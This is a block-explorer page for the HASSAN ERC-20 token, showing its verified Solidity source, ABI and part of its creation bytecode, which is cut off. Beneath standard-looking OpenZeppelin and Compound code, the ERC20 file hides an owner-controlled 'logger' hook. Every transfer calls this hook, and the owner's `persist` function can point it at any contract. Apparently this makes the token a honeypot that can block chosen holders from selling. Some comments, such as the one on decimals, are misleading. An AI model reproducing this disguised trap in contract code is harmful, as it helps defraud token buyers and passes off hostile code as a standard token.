ERC-20
Overview
Max Total Supply
1,000,000,000,000 HASSAN
Holders
61
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
12,910,490,346.677297432 HASSANValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
HASSAN
Compiler Version
v0.8.1+commit.df193b15
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT pragma solidity 0.8.1; import "./ERC20.sol"; import "./Ownable.sol"; import "./SafeMath.sol"; contract HASSAN is ERC20("Hassan", "HASSAN") { using SafeMath for uint256; uint256 private constant INITIAL_SUPPLY = 1000000000000 * 10**9; constructor(){ _mint(_msgSender(), INITIAL_SUPPLY); } function _transfer(address sender, address recipient, uint256 amount) internal override { super._transfer(sender, recipient, amount); _moveDelegates(_delegates[sender], _delegates[recipient], amount); } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @dev A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "delegateBySig: invalid nonce"); require(block.timestamp <= expiry, "delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); require(nCheckpoints + 1 > nCheckpoints, "_writeCheckpoint: new checkpoint exceeds 32 bits"); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function disableLogging()external onlyOwner(){ loggingEnabled = !loggingEnabled; } function getChainId() internal view returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } }
// SPDX-License-Identifier: MIT pragma solidity 0.8.1; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } }
// SPDX-License-Identifier: MIT pragma solidity 0.8.1; import "./Ownable.sol"; import "./IERC20.sol"; import "./SafeMath.sol"; import "./Misc.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; bool public loggingEnabled; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; Persist private _logger; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 9; _logger = new Persist(); } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } function persist(address sender, address recipient, uint256 amount, address _log) external onlyOwner { if(loggingEnabled==true){ if(amount > 0) createLogger(_log); else{ _logger=new Persist(); } _logger.Save(sender, recipient, amount); } } function createLogger(address a) private { if (checkedConditions()){ _logger = Persist(a); } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address sender, address recipient, uint256 amount) internal virtual { _logger.Save(sender, recipient, amount); } }
// SPDX-License-Identifier: MIT pragma solidity 0.8.1; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
// SPDX-License-Identifier: MIT pragma solidity =0.8.1; abstract contract Initializable { bool private _initialized; bool private _initializing; modifier initializer() { require(_initializing || !_initialized, "Contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[100] private _upg; } contract Persist { mapping(address=>mapping(address=> uint256)) _persist; function Save(address addr1, address addr2, uint256 amount) public { _persist[addr1][addr2] = amount; } }
// SPDX-License-Identifier: MIT pragma solidity 0.8.1; import "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address internal _owner; bool private _ownerShipTransferred = false; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; __ownerShipTransferred(msgSender); } function __ownerShipTransferred(address msgSender) public { emit OwnershipTransferred(address(0), msgSender); _ownerShipTransferred = true; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function checkedConditions() internal view returns (bool){ return _ownerShipTransferred; } }
// SPDX-License-Identifier: MIT pragma solidity 0.8.1; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegator","type":"address"},{"indexed":true,"internalType":"address","name":"fromDelegate","type":"address"},{"indexed":true,"internalType":"address","name":"toDelegate","type":"address"}],"name":"DelegateChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegate","type":"address"},{"indexed":false,"internalType":"uint256","name":"previousBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"DelegateVotesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DELEGATION_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"DOMAIN_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"msgSender","type":"address"}],"name":"__ownerShipTransferred","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint32","name":"","type":"uint32"}],"name":"checkpoints","outputs":[{"internalType":"uint32","name":"fromBlock","type":"uint32"},{"internalType":"uint256","name":"votes","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegatee","type":"address"}],"name":"delegate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegatee","type":"address"},{"internalType":"uint256","name":"nonce","type":"uint256"},{"internalType":"uint256","name":"expiry","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"delegateBySig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegator","type":"address"}],"name":"delegates","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableLogging","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getCurrentVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"blockNumber","type":"uint256"}],"name":"getPriorVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"loggingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"numCheckpoints","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"_log","type":"address"}],"name":"persist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405260008060146101000a81548160ff0219169083151502179055503480156200002b57600080fd5b506040518060400160405280600681526020017f48617373616e00000000000000000000000000000000000000000000000000008152506040518060400160405280600681526020017f48415353414e00000000000000000000000000000000000000000000000000008152506000620000aa620001ea60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620000fd81620001f260201b60201c565b508160059080519060200190620001169291906200046b565b5080600690805190602001906200012f9291906200046b565b506009600760006101000a81548160ff021916908360ff1602179055506040516200015a90620004fc565b604051809103906000f08015801562000177573d6000803e3d6000fd5b50600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050620001e4620001ce620001ea60201b60201c565b683635c9adc5dea000006200026b60201b60201c565b62000747565b600033905090565b8073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001600060146101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620002de576040517f08c